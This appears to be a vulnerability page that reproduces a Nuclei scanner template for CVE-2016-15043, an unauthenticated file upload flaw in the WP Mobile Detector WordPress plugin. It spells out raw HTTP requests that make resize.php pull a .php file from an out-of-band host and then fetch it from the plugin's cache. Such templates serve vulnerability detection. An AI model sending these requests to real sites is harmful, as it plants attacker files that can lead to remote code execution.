CVE-2016-15043: WP Mobile Detector <= 3.5 - Unrestricted File Upload

2026-01-08 WP Mobile Detector PoC Public

Description

WP Mobile Detector plugin for WordPress <= 3.5 contains an unrestricted file upload vulnerability caused by missing file type validation in resize.php, letting unauthenticated attackers upload arbitrary files, potentially leading to remote code execution.

PoC

id: CVE-2016-15043

info:
  name: WP Mobile Detector <= 3.5 - Unrestricted File Upload
  author: D3nverNg,thewindghost
  severity: critical
  description: |
    WP Mobile Detector plugin for WordPress <= 3.5 contains an unrestricted file upload vulnerability caused by missing file type validation in resize.php, letting unauthenticated attackers upload arbitrary files, potentially leading to remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of WP Mobile Detector plugin.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
    - https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/
    - https://wpscan.com/vulnerability/e4739674-eed4-417e-8c4d-2f5351b057cf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-15043
    epss-score: 0.07761
    epss-percentile: 0.9433
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2016,wordpress,wp,wp-plugin,file-upload,rce,intrusive,vkev,vuln

variables:
  filename: "{{rand_text_alpha(8)}}.php"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mobile-detector/resize.php?src=http://{{interactsh-url}}/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(content_type, "image/gif")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-mobile-detector/cache/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - regex('<body>(.*?)</body>', body)
        condition: and
# digest: 4a0a0047304502200659cd5c34313e714078728883d81ae603a74408f485c08015be3273ab79de8202210099ae6755f8637c63d04e78bba378156e65c6e5ec8759dc2aa1cc19b5aea062ee:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-15043.yaml

References

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